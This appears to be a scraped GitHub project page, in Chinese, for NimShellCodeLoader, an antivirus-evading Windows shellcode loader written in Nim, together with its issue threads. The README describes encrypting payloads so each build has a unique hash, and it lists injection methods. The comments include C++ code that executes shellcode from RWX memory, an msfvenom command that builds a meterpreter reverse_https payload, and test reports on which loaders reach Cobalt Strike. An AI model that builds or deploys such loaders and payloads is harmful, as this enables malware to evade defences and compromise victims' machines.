使用nim编写的shellcode加载器

Overview

NimShellCodeLoader

Nim编写Windows平台shellcode免杀加载器

快速生成免杀可执行文件

codeloader

更新:

20210123:增加三种加载shellcode方式,其中两种使用了winim库,需要安装该库才能正常编译

特点:

1:自带四种加载方式

2:可自行拓展加载方式

3:支持两种加密技术,分别位3des加密和凯撒密码,密钥随机,每次生成文件拥有不同hash

仅限用于技术研究和获得正式授权的测试活动。

## 文件组成:

bin 中存放生成的可执行文件

encryption 存放加密代码文件

module 中存放c++功能文件

file

安装:

1、安装nim最新版

2、下载本项目,分别编译encryption中的Tdea.nimCaesar.nim

nim c -d:release --opt:size Tdea.nim

nim c -d:release --opt:size Caesar.nim

3、编译c#项目,将可执行文件放到当前目录

使用方法:

1、打开生成器

2、将payload拖动到该窗口

first

3、选择加载方式,点击生成,可执行文件会保存到bin文件夹中

second

拓展:

1、新建nim代码文件,引用public,获取code(解密的明文shellcode)和codelen(明文shellcode长度)

code

2、将c++的功能代码放到module文件夹中,在新建的nim文件中调用

3、修改Compiler.ini文件,添加一行,key为加载方式,value为编译使用的命令行,其中为shellcode文件位置的占位符,为加密方式的占位符,其余可以自行定义。

config

更新:

20210123:增加三种加载shellcode方式,其中两种使用了winim库,需要安装该库才能正常编译

引用:

都是网上公开的方法

https://github.com/Moriarty2016

https://github.com/knownsec/shellcodeloader

https://github.com/byt3bl33d3r/OffensiveNim

TODO:

  • 增加更多的加载方式

  • 增加反沙箱等功能

  • 增加加密方式

You might also like...
Comments
  • NimShellCodeLoader-20220203兼容性问题

    NimShellCodeLoader-20220203兼容性问题

    2021旧版使用nim 1.48 32位版本,Direct_Load方法加载32位的shellcode可以正常加载,2021旧版 + nim 1.62和最新gcc的32位版本编译32位shellcode也可正常加载

    2022的新版配合nim 1.62和最新gcc的32位版本编译32位shellcode,会出现图片中的错误 手心输入法截图20220205124238382

    opened by spooky18 10
  • 扩展加载方法功能编译报错

    扩展加载方法功能编译报错

    想扩展Direct加载方法,调用COM,加一些功能,结果就编译不过了,错误如下。请问是哪方面的错误怎么修改,非常感谢!代码:

    `#include "public.hpp" #include <objbase.h> #pragma comment(lib, "ole32")

    int Direct_Load(char *shellcode,SIZE_T shellcodeSize) { HRESULT hr;

    hr = CoInitialize(NULL);
    
    LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, shellcodeSize);
    ((void(*)())Memory)();
    return 0;
    

    }`

    error

    opened by spooky18 1
  • 程序加载方法兼容性综合测试

    程序加载方法兼容性综合测试

    测试环境在win 10 64位,Nim、MingW编译环境均为64位。其中很多方法不上线,不知道是我的测试方法不对还是?

    Cobalt Strike 生成的64位 shellcode , 格式raw的bin文件

    Thread_Pool_Wait 报错

    image

    Thread_Hiijack_Inject_Load 不上线

    OEP_Hiijack_Inject_Load 不上线

    APC_Ijnect_Load 不上线

    Direct_Load 上线

    Early_Bird_APC_Injetc_Load 上线

    Fiber_Load 报错

    image

    msfvenom生成的64位 Shellcode、命令“ msfvenom -p windows/x64/meterpreter/reverse_https -f raw LPORT=443 -o test_x64.bin LHOST=xx.xx.xx.xx

    APC_Ijnect_Load 不上线

    Early_Bird_APC_Injetc_Load 不上线

    Fiber_Load 不上线

    Direct_Load 不上线

    OEP_Hiijack_Inject_Load 不上线

    Thread_Hiijack_Inject_Load 不上线

    Thread_Pool_Wait 不上线

    opened by spooky18 2
  • 运行被加密的程序报错

    运行被加密的程序报错

    凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢 手心输入法截图20210928183244488 ? nim版本 我之后又试了官方几个大版本的代表版本,问题依旧 12121212

    opened by spooky18 6
Owner
null